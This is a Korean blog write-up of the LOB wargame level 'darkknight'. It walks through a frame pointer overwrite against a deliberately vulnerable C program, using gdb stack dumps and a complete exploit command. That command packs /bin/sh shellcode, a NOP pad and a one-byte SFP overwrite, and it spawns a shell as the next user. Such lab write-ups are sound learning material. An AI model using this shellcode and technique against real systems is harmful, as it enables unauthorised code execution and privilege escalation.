시작
휴갑니다 휴가!!!
바로 집 와서 LOB부터 켰어요 ㅎㅎ
저번에 풀다 만 FPO 문제 빠르게 넘어가겠습니당
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- darkknight
- FPO
*/
#include <stdio.h>
#include <stdlib.h>
void problem_child(char *src)
{
char buffer[40];
strncpy(buffer, src, 41);
printf("%s\n", buffer);
}
main(int argc, char *argv[])
{
if(argc<2){
printf("argv error\n");
exit(0);
}
problem_child(argv[1]);
}
Fake EBP랑 비슷하게 SFP에 변화를 주면, leave ret 할 때 EIP가 조작되어 발생하는 취약점이에요.
처음엔 pop 명령어가 주소를 뽑아내는 것인 줄 알고 한…참 멘붕왔었는데
값을 뽑는거에요 값을!!! 이거 때매 무한 삽질 했습니다ㅠㅠㅠ
gdb로 버퍼를 가리키는 주소 찾는 데도 오래 걸렸어요 ㅎ..
(gdb) x/40wx $ebp-40
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad4: 0x41414141 0x41414141 0xbffffa41 0x0804849e
0xbffffae4: 0xbffffc4a 0xbffffb08 0x400309cb 0x00000002
0xbffffaf4: 0xbffffb34 0xbffffb40 0x40013868 0x00000002
0xbffffb04: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffb14: 0x00000002 0xbffffb34 0x080482e4 0x080484dc
0xbffffb24: 0x4000ae60 0xbffffb2c 0x40013e90 0x00000002
0xbffffb34: 0xbffffc2f 0xbffffc4a 0x00000000 0xbffffc74
0xbffffb44: 0xbffffc87 0xbffffca0 0xbffffcbf 0xbffffce1
버퍼의 시작 주소는 0xbffffab4
에요.
프레임 포인터를 조작하려면 임마를 가리키는 주소가 있어야 하는데..
(gdb) x/40wx $ebp-56
0xbffffaa4: 0x08048455 0xbffffab4 0xbffffc4a 0x00000029
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad4: 0x41414141 0x41414141 0xbffffa41 0x0804849e
0xbffffae4: 0xbffffc4a 0xbffffb08 0x400309cb 0x00000002
0xbffffaf4: 0xbffffb34 0xbffffb40 0x40013868 0x00000002
0xbffffb04: 0x08048390 0x00000000 0x080483b1 0x0804846c
0xbffffb14: 0x00000002 0xbffffb34 0x080482e4 0x080484dc
0xbffffb24: 0x4000ae60 0xbffffb2c 0x40013e90 0x00000002
0xbffffb34: 0xbffffc2f 0xbffffc4a 0x00000000 0xbffffc74
치사하게 버퍼 앞 쪽에 있었어요.
뒤에만 열심히 찾아봤는데 너무하네요.
main()
으로 넘어오면 leave 할 때 pop ebp
가 일어나기 때문에 저 주소 + 4를 해줘야 해요.
그래야 pop eip
때 0xbffffaa8
에 있는 값(버퍼의 시작 주소)이 eip에 들어가겠죠??
페이로드는 0xbffffaa8
에 4를 더한 0xbffffaac
를 넣어줄 거에요.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "\xac"'`
1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒6▒▒▒▒▒▒ @
bash$ whoami
darkknight
bash$ my-pass
euid = 512
new attacker
Exploit!! 귀차니즘이 낭낭히 묻어나오는 풀이었습니다 ㅎㅎㅎㅎ
마무리
이제 슬슬 기법들이 나오네요..
다음은 ROP를 기대해봐도 될 것 같습니다!!!
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] bugbear (0) | 2019.08.02 |
---|---|
[LOB] darkknight (0) | 2019.08.01 |
[LOB] skeleton (0) | 2019.07.05 |
[LOB] vampire (0) | 2019.07.04 |
[LOB] troll (0) | 2019.07.04 |